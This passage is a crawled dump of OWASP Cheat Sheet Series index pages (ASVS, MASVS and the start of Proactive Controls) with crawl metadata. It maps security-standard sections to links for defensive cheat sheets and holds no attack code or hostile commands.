Prevention Cheat Sheet in Java](cheatsheets/Injection_Prevention_in_Java_Cheat_Sheet.html)\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[LDAP Injection Prevention](cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n\n[Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[XML External Entity Prevention Cheat Sheet](cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n### V1.4 Memory, String, and Unmanaged Code¶\n\nNone.\n\n### V1.5 Safe Deserialization¶\n\n[Deserialization Cheat Sheet](cheatsheets/Deserialization_Cheat_Sheet.html)\n\n[Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[XML Security Cheat Sheet](cheatsheets/XML_Security_Cheat_Sheet.html)\n\n[XML External Entity Prevention Cheat Sheet](cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n## V2: Validation and Business Logic¶\n\n### V2.1 Validation and Business Logic Documentation¶\n\n[Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n\n### V2.2 Input Validation¶\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[Microservices Security Cheat Sheet](cheatsheets/Microservices_Security_Cheat_Sheet.html)\n\n[Web Service Security Cheat Sheet](cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n\n### V2.3 Business Logic Security¶\n\n[Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n\n### V2.4 Anti-automation¶\n\n[Denial of Service Cheat Sheet](cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n\n## V3: Web Frontend Security¶\n\n### V3.1 Web Frontend Security Documentation¶\n\n[Content Security Policy Cheat Sheet](cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[HTTP Strict Transport Security Cheat Sheet](cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n\n### V3.2 Unintended Content Interpretation¶\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[DOM Clobbering Prevention Cheat Sheet](cheatsheets/DOM_Clobbering_Prevention_Cheat_Sheet.html)\n\n[HTML5 Security Cheat Sheet](cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n[Third Party Javascript Management Cheat Sheet](cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html)\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n### V3.4 Browser Security Mechanism Headers¶\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[HTML5 Security Cheat Sheet](cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n[HTTP Strict Transport Security Cheat Sheet](cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n\n### V3.5 Browser Origin Separation¶\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[HTML5 Security Cheat Sheet](cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n### V3.6 External Resource Integrity¶\n\n[Third Party Javascript Management Cheat Sheet](cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html)\n\n### V3.7 Other Browser Security Considerations¶\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[HTTP Strict Transport Security Cheat Sheet](cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n\n[Third Party Javascript Management Cheat Sheet](cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html)\n\n[Unvalidated Redirects and Forwards Cheat Sheet](cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n## V4: API and Web Service¶\n\n### V4.1 Generic Web Service Security¶\n\n[Cross-Site Request Forgery Prevention Cheat Sheet](cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n[REST Assessment Cheat Sheet](cheatsheets/REST_Assessment_Cheat_Sheet.html)\n\n[REST Security Cheat Sheet](cheatsheets/REST_Security_Cheat_Sheet.html)\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n[Web Service Security Cheat Sheet](cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n\n### V4.2 HTTP Message Structure Validation¶\n\n[REST Security Cheat Sheet](cheatsheets/REST_Security_Cheat_Sheet.html)\n\n[Web Service Security Cheat Sheet](cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n\n### V4.3 GraphQL¶\n\n[REST Security Cheat Sheet](cheatsheets/GraphQL_Cheat_Sheet.html)\n\n### V4.4 WebSocket¶\n\n[REST Security Cheat Sheet](cheatsheets/WebSocket_Security_Cheat_Sheet.html)\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n## V5: File Handling¶\n\n### V5.1 File Handling Documentation¶\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[File Upload Cheat Sheet](cheatsheets/File_Upload_Cheat_Sheet.html)\n\n### V5.2 File Upload and Content¶\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[File Upload Cheat Sheet](cheatsheets/File_Upload_Cheat_Sheet.html)\n\n### V5.3 File Storage¶\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### V5.4 File Download¶\n\n[File Upload Cheat Sheet](cheatsheets/File_Upload_Cheat_Sheet.html)\n\n## V6: Authentication¶\n\n### V6.1 Authentication Documentation¶\n\n[Security Terminology Cheat Sheet](cheatsheets/Security_Terminology_Cheat_Sheet.html)\n\n[Credential Stuffing Prevention Cheat Sheet](cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n\n### V6.2 Password Security¶\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n### V6.3 General Authentication Security¶\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n[Credential Stuffing Prevention Cheat Sheet](cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n\n[Forgot Password Cheat Sheet](cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n### V6.4 Authentication Factor Lifecycle and Recovery¶\n\n[Choosing and Using Security Questions Cheat Sheet](cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n\n[Forgot Password Cheat Sheet](cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n[Multifactor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n### V6.5 General Multi-factor authentication requirements¶\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n[Multifactor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n[Password Storage Cheat Sheet](cheatsheets/Password_Storage_Cheat_Sheet.html)\n\n[Transaction Authorization Cheat Sheet](cheatsheets/Transaction_Authorization_Cheat_Sheet.html)\n\n### V6.6 Out-of-Band authentication mechanisms¶\n\n[Forgot Password Cheat Sheet](cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n[Multifactor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n### V6.7 Cryptographic authentication mechanism¶\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n[Multifactor Authentication Cheat Sheet](cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n### V6.8 Authentication with an Identity Provider¶\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n## V7: Session Management¶\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V7.1 Session Management Documentation¶\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V7.2 Fundamental Session Management Security¶\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V7.3 Session Timeout¶\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V7.4 Session Termination¶\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V7.5 Defenses Against Session Abuse¶\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V7.6 Federated Re-authentication¶\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n## V8: Authorization¶\n\n### V8.1 Authorization Documentation¶\n\n[Security Terminology Cheat Sheet](cheatsheets/Security_Terminology_Cheat_Sheet.html)\n\n[Authorization Cheat Sheet](cheatsheets/Authorization_Cheat_Sheet.html)\n\n[Authorization Testing Automation](cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n### V8.2 General Authorization Design¶\n\n[Authorization Cheat Sheet](cheatsheets/Authorization_Cheat_Sheet.html)\n\n[Insecure Direct Object Reference Prevention Cheat Sheet](cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V8.3 Operation Level Authorization¶\n\n[Transaction Authorization Cheat Sheet](cheatsheets/Transaction_Authorization_Cheat_Sheet.html)\n\n### V8.4 Other Authorization Considerations¶\n\n[Authorization Cheat Sheet](cheatsheets/Authorization_Cheat_Sheet.html)\n\n[Multi-Tenant Application Security Cheat Sheet](cheatsheets/Multi_Tenant_Security_Cheat_Sheet.html)\n\n## V9: Self-contained Tokens¶\n\n### V9.1 Token source and integrity¶\n\n[JSON Web Token Cheat Sheet](cheatsheets/JSON_Web_Token_Cheat_Sheet.html)\n\n[SAML Security Cheat Sheet](cheatsheets/SAML_Security_Cheat_Sheet.html)\n\n### V9.2 Token content¶\n\n[REST Security Cheat Sheet](cheatsheets/REST_Security_Cheat_Sheet.html)\n\n## V10: OAuth and OIDC¶\n\n### V10.1 Generic OAuth and OIDC Security¶\n\n[OAuth 2.0 Protocol Cheatsheet](cheatsheets/OAuth2_Cheat_Sheet.html)\n\n### V10.2 OAuth Client¶\n\n[OAuth 2.0 Protocol Cheatsheet](cheatsheets/OAuth2_Cheat_Sheet.html)\n\n### V10.3 OAuth Resource Server¶\n\n[OAuth 2.0 Protocol Cheatsheet](cheatsheets/OAuth2_Cheat_Sheet.html)\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n### V10.4 OAuth Authorization Server¶\n\n[OAuth 2.0 Protocol Cheatsheet](cheatsheets/OAuth2_Cheat_Sheet.html)\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n[Unvalidated Redirects and Forwards Cheat Sheet](cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### V10.5 OIDC Client¶\n\n[OAuth 2.0 Protocol Cheatsheet](cheatsheets/OAuth2_Cheat_Sheet.html)\n\n### V10.6 OpenID Provider¶\n\n[OAuth 2.0 Protocol Cheatsheet](cheatsheets/OAuth2_Cheat_Sheet.html)\n\n[Browser Extension Security Vulnerabilities](cheatsheets/Browser_Extension_Vulnerabilities_Cheat_Sheet.html)\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n## V11: Cryptography¶\n\n### V11.1 Cryptographic Inventory and Documentation¶\n\n[Security Terminology Cheat Sheet](cheatsheets/Security_Terminology_Cheat_Sheet.html)\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n[Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n\n### V11.2 Secure Cryptography Implementation¶\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n### V11.3 Encryption Algorithms¶\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n[Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n\n### V11.4 Hashing and Hash-based Functions¶\n\n[Password Storage Cheat Sheet](cheatsheets/Password_Storage_Cheat_Sheet.html)\n\n### V11.5 Random Values¶\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n### V11.6 Public Key Cryptography¶\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n### V11.7 In-Use Data Cryptography¶\n\n[Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n\n[Microservices Security Cheat Sheet](cheatsheets/Microservices_Security_Cheat_Sheet.html)\n\n[Secrets Management Cheat Sheet](cheatsheets/Secrets_Management_Cheat_Sheet.html)\n\n## V12: Secure Communication¶\n\n### V12.1 General TLS Security Guidance¶\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n### V12.2 HTTPS Communication with External Facing Services¶\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n### V12.3 General Service to Service Communication Security¶\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n## V13: Configuration¶\n\n### V13.1 Configuration Documentation¶\n\n[Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### V13.2 Backend Communication Configuration¶\n\n[Docker Security Cheat Sheet](cheatsheets/Docker_Security_Cheat_Sheet.html)\n\n[Server Side Request Forgery Prevention Cheat Sheet](cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### V13.3 Secret Management¶\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n[Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n\n### V13.4 Unintended Information Leakage¶\n\n[Django Cheat Sheet](cheatsheets/Laravel_Cheat_Sheet.html)\n\n[GraphQL Cheat Sheet](cheatsheets/Laravel_Cheat_Sheet.html)\n\n[Laravel Cheat Sheet](cheatsheets/Laravel_Cheat_Sheet.html)\n\n[NPM Security best practices](cheatsheets/NPM_Security_Cheat_Sheet.html)\n\n[Symfony Cheat Sheet](cheatsheets/Symfony_Cheat_Sheet.html)\n\n## V14: Data Protection¶\n\n### V14.1 Data Protection Documentation¶\n\n[Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n[User Privacy Protection Cheat Sheet](cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n\n### V14.2 General Data Protection¶\n\n[HTML5 Security Cheat Sheet](cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n[User Privacy Protection Cheat Sheet](cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n\n### V14.3 Client-side Data Protection¶\n\n[HTML5 Security Cheat Sheet](cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n## V15: Secure Coding and Architecture¶\n\n### V15.1: Secure Coding and Architecture Documentation¶\n\n[Security Terminology Cheat Sheet](cheatsheets/Security_Terminology_Cheat_Sheet.html)\n\n[Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n\n[Attack Surface Analysis Cheat Sheet](cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)\n\n[Dependency Graph & SBOM Best Practices Cheat Sheet](cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n\n[Software Supply Chain Security](cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n\n[Third Party Javascript Management Cheat Sheet](cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html)\n\n[Threat Modeling Cheat Sheet](cheatsheets/Threat_Modeling_Cheat_Sheet.html)\n\n### V15.2: Security Architecture and Dependencies¶\n\n[Software Supply Chain Security](cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n\n[Third Party Javascript Management Cheat Sheet](cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html)\n\n[Virtual Patching Cheat Sheet](cheatsheets/Virtual_Patching_Cheat_Sheet.html)\n\n[Vulnerable Dependency Management Cheat Sheet](cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n\n### V15.3: Defensive Coding¶\n\n[Mass Assignment Cheat Sheet](cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n[Prototype Pollution Prevention Cheat Sheet](cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html)\n\n[Unvalidated Redirects and Forwards Cheat Sheet](cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### V15.4: Safe Concurrency¶\n\n[Secure Code Review Cheat Sheet](cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n[Transaction Authorization Cheat Sheet](cheatsheets/Transaction_Authorization_Cheat_Sheet.html)\n\n## V16: Security Logging and Error Handling¶\n\n### V16.1: Security Logging Documentation¶\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n[Logging Vocabulary Cheat Sheet](cheatsheets/Logging_Vocabulary_Cheat_Sheet.html)\n\n### V16.2: General Logging¶\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n### V16.3: Security Events¶\n\n[Authorization Cheat Sheet](cheatsheets/Authorization_Cheat_Sheet.html)\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n[Logging Vocabulary Cheat Sheet](cheatsheets/Logging_Vocabulary_Cheat_Sheet.html)\n\n### V16.4: Log Protection¶\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n### V16.5: Error Handling¶\n\n[Error Handling Cheat Sheet](cheatsheets/Error_Handling_Cheat_Sheet.html)\n\n## V17: WebRTC¶\n\n### V17.1 TURN Server¶\n\nNone.\n\n## V17.2 Media¶\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n## V17.3 Signaling¶\n\nNone.", "znaku_textu": 22067, "slov": 1624, "odkazu": 231, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:27", "sha256": "f29a1f1af0fe69548d3fe6dc8503afbb1d2efa117fc9777bea4003ea42b9fc48", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-application-security-verification-standard/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/IndexMASVS.html", "titulek": "Index MASVS - OWASP Cheat Sheet Series", "h1": "MASVS Index¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/IndexMASVS.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "MASVS Index¶"}, {"uroven": 2, "text": "Table of Contents¶"}, {"uroven": 2, "text": "Objective¶"}, {"uroven": 2, "text": "MASVS-STORAGE¶"}, {"uroven": 2, "text": "MASVS-CRYPTO¶"}, {"uroven": 2, "text": "MASVS-AUTH¶"}, {"uroven": 2, "text": "MASVS-NETWORK¶"}, {"uroven": 2, "text": "MASVS-PLATFORM¶"}, {"uroven": 2, "text": "MASVS-CODE¶"}, {"uroven": 2, "text": "MASVS-RESILIENCE¶"}, {"uroven": 2, "text": "MASVS-PRIVACY¶"}], "markdown": "# MASVS Index¶\n\n## Table of Contents¶\n\n- Objective\n- MASVS-STORAGE\n- MASVS-CRYPTO\n- MASVS-AUTH\n- MASVS-NETWORK\n- MASVS-PLATFORM\n- MASVS-CODE\n- MASVS-RESILIENCE\n- MASVS-PRIVACY\n\n## Objective¶\n\nThe objective of this index is to help OWASP [Mobile Application Security Verification Standard](https://github.com/OWASP/owasp-masvs) (MASVS) users clearly identify which cheat sheets are useful for each section during their usage of the MASVS.\n\nThis index is based on version [2.1.0](https://github.com/OWASP/owasp-masvs/releases/tag/v2.1.0) of the MASVS.\n\n## MASVS-STORAGE¶\n\n[Password Storage Cheat Sheet](cheatsheets/Password_Storage_Cheat_Sheet.html)\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n[Secrets Management Cheat Sheet](cheatsheets/Secrets_Management_Cheat_Sheet.html)\n\n## MASVS-CRYPTO¶\n\n[Cryptographic Storage Cheat Sheet](cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n\n[Key Management Cheat Sheet](cheatsheets/Key_Management_Cheat_Sheet.html)\n\n## MASVS-AUTH¶\n\n[Authentication Cheat Sheet](cheatsheets/Authentication_Cheat_Sheet.html)\n\n[Authorization Cheat Sheet](cheatsheets/Authorization_Cheat_Sheet.html)\n\n[Session Management Cheat Sheet](cheatsheets/Session_Management_Cheat_Sheet.html)\n\n[Transaction Authorization Cheat Sheet](cheatsheets/Transaction_Authorization_Cheat_Sheet.html)\n\n[Access Control Cheat Sheet](cheatsheets/Access_Control_Cheat_Sheet.html)\n\n[JSON Web Token Cheat Sheet](cheatsheets/JSON_Web_Token_Cheat_Sheet.html)\n\n[Credential Stuffing Prevention Cheat Sheet](cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n\n## MASVS-NETWORK¶\n\n[Transport Layer Security Cheat Sheet](cheatsheets/Transport_Layer_Security_Cheat_Sheet.html)\n\n[HTTP Strict Transport Security Cheat Sheet](cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n\n[REST Security Cheat Sheet](cheatsheets/REST_Security_Cheat_Sheet.html)\n\n[Web Service Security Cheat Sheet](cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n\n[Pinning Cheat Sheet](cheatsheets/Pinning_Cheat_Sheet.html)\n\n## MASVS-PLATFORM¶\n\n[Attack Surface Analysis Cheat Sheet](cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)\n\n## MASVS-CODE¶\n\n[Vulnerable Dependency Management Cheat Sheet](cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n\n[Error Handling Cheat Sheet](cheatsheets/Error_Handling_Cheat_Sheet.html)\n\n[Deserialization Cheat Sheet](cheatsheets/Deserialization_Cheat_Sheet.html)\n\n[Logging Cheat Sheet](cheatsheets/Logging_Cheat_Sheet.html)\n\n[Insecure Direct Object Reference Prevention Cheat Sheet](cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)\n\n[Input Validation Cheat Sheet](cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet](cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n\n[Injection Prevention Cheat Sheet in Java](cheatsheets/Injection_Prevention_in_Java_Cheat_Sheet.html)\n\n[OS Command Injection Defense Cheat Sheet](cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n\n[Query Parameterization Cheat Sheet](cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n\n[SQL Injection Prevention Cheat Sheet](cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n\n[XXE Prevention Cheat Sheet](cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n\n[XML Security Cheat Sheet](cheatsheets/XML_Security_Cheat_Sheet.html)\n\n## MASVS-RESILIENCE¶\n\n[Threat Modeling Cheat Sheet](cheatsheets/Threat_Modeling_Cheat_Sheet.html)\n\n[Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n\n[Attack Surface Analysis Cheat Sheet](cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)\n\n[Mobile Application Security Cheat Sheet](cheatsheets/Mobile_Application_Security_Cheat_Sheet.html)\n\n## MASVS-PRIVACY¶\n\n[User Privacy Protection Cheat Sheet](cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)", "znaku_textu": 3802, "slov": 244, "odkazu": 143, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:28", "sha256": "c3fbd9b35ad38d23f3f2d2ca0af559b5684fc4252a0c736a083da47700c564e9", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://github.com/OWASP/owasp-masvs", "https://github.com/OWASP/owasp-masvs/releases/tag/v2.1.0", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/IndexProactiveControls.html", "titulek": "Index Proactive Controls - OWASP Cheat Sheet Series", "h1": "Proactive Controls Index¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/IndexProactiveControls.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Proactive Controls Index¶"}, {"uroven": 2, "text": "Objective¶"}, {"uroven": 2, "text": "C1. Define Security Requirements¶"}, {"uroven": 2, "text": "C2. Leverage Security Frameworks and Libraries¶"}, {"uroven": 2, "text": "C3. Secure Database Access¶"}, {"uroven": 2, "text": "C4. Encode and Escape Data¶"}, {"uroven": 2, "text": "C5. Validate All Inputs¶"}, {"uroven": 2, "text": "C6. Implement Digital Identity¶"}, {"uroven": 2, "text": "C7. Enforce Access Controls¶"}, {"uroven": 2, "text": "C8. Protect Data Everywhere¶"}, {"uroven": 2, "text": "C9. Implement Security Logging and Monitoring¶"}, {"uroven": 2, "text": "C10. Handle All Errors and Exceptions¶"}], "markdown": "# Proactive Controls Index¶\n\n## Objective¶\n\n> The OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important.\n\nThis cheat sheet will help users of the [OWASP Top Ten Proactive Controls 2018](https://top10proactive.owasp.org/archive/2018/0x02-about-project/) identify which cheat sheets map to each proactive control.\n\n## [C1. Define Security Requirements](https://top10proactive.owasp.org/archive/2018/c1-security-requirements/)¶\n\n[Abuse Case Cheat Sheet](cheatsheets/Abuse_Case_Cheat_Sheet.html)\n\n[Attack Surface Analysis Cheat Sheet](cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)\n\n[Threat Modeling Cheat Sheet](cheatsheets/Threat_Modeling_Cheat_Sheet.html)\n\n## [C2. Leverage Security Frameworks and Libraries](https://top10proactive.owasp.org/archive/2018/c2-leverage-security-frameworks-libraries/)¶\n\n[Clickjacking Defense Cheat Sheet](cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)\n\n[DotNet Security Cheat Sheet (A3 Cross Site Scripting)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a3-cross-site-scripting)\n\n[PHP Configuration Cheat Sheet](cheatsheets/PHP_Configuration_Cheat_Sheet.html)\n\n[Ruby on Rails Cheat Sheet (Tools)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#tools)\n\n[Ruby on Rails Cheat Sheet (XSS)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#cross-site-scripting-xss)\n\n[Vulnerable Dependency Management Cheat Sheet](cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n\n## [C3. Secure Database Access](https://top10proactive.owasp.org/archive/2018/c3-secure-database/)¶\n\n[DotNet Security Cheat Sheet (Data Access)](cheatsheets/DotNet_Security_Cheat_Sheet.html#data-access)\n\n[DotNet Security Cheat Sheet (A1 SQL Injection)](cheatsheets/DotNet_Security_Cheat_Sheet.html#a1-sql-injection)\n\n[Query Parameterization Cheat Sheet](cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n\n[Ruby on Rails Cheat Sheet (SQL Injection)](cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#sql-injection)\n\n[SQL Injection Prevention Cheat Sheet](cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n\n## [C4. Encode and Escape Data](https://top10proactive.owasp.org/archive/2018/c4-encode-escape-data/)¶\n\n[AJAX Security Cheat Sheet (Client 